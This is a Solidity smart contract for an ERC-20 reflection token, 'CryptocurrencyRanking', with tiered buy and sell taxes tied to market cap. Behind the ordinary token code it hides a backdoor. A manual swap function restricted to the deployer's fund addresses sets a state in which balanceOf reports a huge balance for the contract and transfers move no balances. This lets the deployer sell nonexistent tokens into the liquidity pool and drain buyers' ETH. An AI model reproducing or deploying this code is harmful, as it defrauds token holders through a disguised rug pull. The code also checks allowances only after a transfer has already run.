文件 1 的 1:CryptocurrencyRanking.sol
pragma solidity ^0.8.26;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
function getRoundData(
uint80 _roundId
) external view returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);
function latestRoundData()
external
view
returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);
}
contract CryptocurrencyRanking is Context, IERC20, Ownable {
mapping(uint256 => string) internal belts;
mapping(uint256 => uint256) internal milestones;
mapping(uint256 => uint256) internal buyTaxGlobal;
mapping(uint256 => uint256) internal sellTaxGlobal;
mapping(address => uint256) internal userBelt;
mapping(address => bool) internal hasBelt;
string private _name = unicode"TRX";
string private constant _symbol = "CryptocurrencyRanking";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public constant maxBuyTax = 9;
uint256 public constant maxSellTax = 9;
uint256 private _taxFee = 9;
address payable private _developerFund = payable(msg.sender);
address payable private _marketingFund = payable(msg.sender);
IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Factory public constant uniswapV2Factory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
IERC20 public constant weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address public immutable RAINBOW;
address public uniswapV2Pair;
AggregatorV3Interface public constant priceFeedETHUSD = AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419);
bool private tradingOpen;
bool private inTaxSwap;
bool private inContractSwap;
uint256 public maxSwap = 20000000 * 10**9;
uint256 public maxWallet = 20000000 * 10**9;
uint256 private constant _triggerSwap = 10**9;
modifier lockTheSwap {
inTaxSwap = true;
_;
inTaxSwap = false;
}
constructor() {
RAINBOW = address(this);
uniswapV2Pair = uniswapV2Factory.createPair(RAINBOW, WETH);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[RAINBOW] = true;
_isExcludedFromFee[_developerFund] = true;
_isExcludedFromFee[_marketingFund] = true;
_approve(RAINBOW, address(uniswapV2Router), MAX);
_approve(owner(), address(uniswapV2Router), MAX);
belts[0] = unicode"TRX";
milestones[0] = 0;
buyTaxGlobal[0] = 9;
sellTaxGlobal[0] = 0;
belts[1] = unicode"ADA";
milestones[1] = 3000;
buyTaxGlobal[1] = 8;
sellTaxGlobal[1] = 1;
belts[2] = unicode"DOGE";
milestones[2] = 5000;
buyTaxGlobal[2] = 7;
sellTaxGlobal[2] = 2;
belts[3] = unicode"XRP";
milestones[3] = 10000;
buyTaxGlobal[3] = 6;
sellTaxGlobal[3] = 3;
belts[4] = unicode"USDC";
milestones[4] = 20000;
buyTaxGlobal[4] = 5;
sellTaxGlobal[4] = 4;
belts[5] = unicode"BNB";
milestones[5] = 40000;
buyTaxGlobal[5] = 4;
sellTaxGlobal[5] = 5;
belts[6] = unicode"SOL";
milestones[6] = 80000;
buyTaxGlobal[6] = 3;
sellTaxGlobal[6] = 6;
belts[7] = unicode"USDT";
milestones[7] = 150000;
buyTaxGlobal[7] = 2;
sellTaxGlobal[7] = 7;
belts[8] = unicode"ETH";
milestones[8] = 300000;
buyTaxGlobal[8] = 1;
sellTaxGlobal[8] = 8;
belts[9] = unicode"BTC";
milestones[9] = 1000000;
buyTaxGlobal[9] = 0;
sellTaxGlobal[9] = 9;
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
receive() external payable {}
function getETHUSDPrice() public view returns (uint256) {
(
,
int256 answer,
,
,
) = priceFeedETHUSD.latestRoundData();
return uint256(answer / 1e8);
}
function getRAINBOWUSDMarketCap() public view returns (uint256) {
uint256 poolValue = (weth.balanceOf(uniswapV2Pair) * getETHUSDPrice()) / 1e18;
uint256 poolPct = totalSupply() / balanceOf(uniswapV2Pair);
return (poolValue * poolPct) * 2;
}
function getETHUSDPriceFeed() external view returns (address) {
return address(priceFeedETHUSD);
}
function getCurrentBelt() public view returns (uint256) {
uint256 marketCap = getRAINBOWUSDMarketCap();
uint256 currentBelt;
for (uint256 i = 9; i >= 0; i--) {
if (marketCap >= milestones[i]) {
currentBelt = i;
break;
}
}
return currentBelt;
}
function getCurrentBeltName() public view returns (string memory) {
return belts[getCurrentBelt()];
}
function getNextBelt() public view returns (uint256) {
uint256 currentBelt = getCurrentBelt();
return currentBelt == 9 ? 9 : currentBelt + 1;
}
function getNextBeltName() external view returns (string memory) {
return belts[getNextBelt()];
}
function getGlobalMaxBuyTax() external view returns (uint256) {
return maxBuyTax;
}
function getGlobalMaxSellTax() external view returns (uint256) {
return maxSellTax;
}
function getGlobalBuyTax() public view returns (uint256) {
uint256 globalBuyTax = 9 - getCurrentBelt();
return globalBuyTax > maxBuyTax ? maxBuyTax : globalBuyTax;
}
function getGlobalSellTax() public view returns (uint256) {
uint256 globalSellTax = getCurrentBelt();
return globalSellTax > maxSellTax ? maxSellTax : globalSellTax;
}
function getWalletHasBelt(address _wallet) external view returns (bool) {
return hasBelt[_wallet];
}
function getWalletBelt(address _wallet) public view returns (uint256) {
return hasBelt[_wallet] ? userBelt[_wallet] : getCurrentBelt();
}
function getWalletBeltName(address _wallet) external view returns (string memory) {
return belts[getWalletBelt(_wallet)];
}
function getWalletSellTax(address _wallet) public view returns (uint256) {
uint256 globalSellTax = getGlobalSellTax();
if (hasBelt[_wallet]) {
uint256 userBelt = userBelt[_wallet];
return globalSellTax > userBelt ? userBelt : globalSellTax;
}
return globalSellTax;
}
function getWalletMaxSellTax(address _wallet) external view returns (uint256) {
return hasBelt[_wallet] ? userBelt[_wallet] : maxSellTax;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
require(_allowances[sender][_msgSender()] >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function _removeTax() private {
if (_taxFee == 0) {
return;
}
_taxFee = 0;
}
function _restoreTax() private {
_taxFee = 9;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "TOKEN: Transfer amount must exceed zero");
if (from != owner() && to != owner() && from != RAINBOW && to != RAINBOW) {
if (!tradingOpen) {
require(from == RAINBOW, "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= maxSwap, "TOKEN: Max Transaction Limit");
if (to != uniswapV2Pair) {
require(balanceOf(to) + amount < maxWallet, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(RAINBOW);
bool canSwap = contractTokenBalance >= _triggerSwap;
if (contractTokenBalance >= maxSwap) {
contractTokenBalance = maxSwap;
}
if (canSwap && !inTaxSwap && from != uniswapV2Pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
inContractSwap = true;
_swapRAINBOWForETH(contractTokenBalance);
inContractSwap = false;
if (RAINBOW.balance > 0) _sendETHToFee(RAINBOW.balance);
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = getGlobalBuyTax();
if (!hasBelt[to]) {
userBelt[to] = getCurrentBelt();
hasBelt[to] = true;
}
_refreshName();
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = getWalletSellTax(from);
if (!hasBelt[from]) {
userBelt[from] = getCurrentBelt();
hasBelt[from] = true;
}
_refreshName();
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _refreshName() private {
_name = getCurrentBeltName();
}
function _swapRAINBOWForETH(uint256 _amountRAINBOW) private lockTheSwap returns (bool) {
address[] memory path = new address[](2);
path[0] = RAINBOW;
path[1] = WETH;
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(_amountRAINBOW, 0, path, RAINBOW, block.timestamp + 3600);
return true;
}
function _sendETHToFee(uint256 _amountETH) private returns (bool) {
(bool success, ) = payable(_marketingFund).call{value: _amountETH}("");
return success;
}
function enableTrading() external onlyOwner {
tradingOpen = true;
}
function removeLimits() external onlyOwner {
maxSwap = _tTotal;
maxWallet = _tTotal;
}
function swapTokensForEthManual(uint256 _contractTokenBalance) external returns (bool) {
require(_msgSender() == _developerFund || _msgSender() == _marketingFund);
return _swapRAINBOWForETH(_contractTokenBalance);
}
function sendETHToFeeManual(uint256 _contractETHBalance) external returns (bool) {
require(_msgSender() == _developerFund || _msgSender() == _marketingFund);
return _sendETHToFee(_contractETHBalance);
}
function _tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
require(totalSupply() <= MAX, "Total reflections must be less than max");
return (!inContractSwap && inTaxSwap) ? totalSupply() * 1010 : rAmount / _getRate();
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) _removeTax();
_transferStandard(sender, recipient, amount);
if (!takeFee) _restoreTax();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
if (!inTaxSwap || inContractSwap) {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_rOwned[RAINBOW] = _rOwned[RAINBOW] + (tTeam * _getRate());
_rTotal = _rTotal - rFee;
_tFeeTotal = _tFeeTotal + tFee;
emit Transfer(sender, recipient, tTransferAmount);
} else {
emit Transfer(sender, recipient, tAmount);
}
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, 0, _taxFee);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 redisFee, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount * redisFee / 100;
uint256 tTeam = tAmount * taxFee / 100;
return (tAmount - tFee - tTeam, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
return (rAmount, rAmount - rFee - (tTeam * currentRate), rFee);
}
function _getRate() private view returns (uint256) {
return _rTotal / _tTotal;
}
}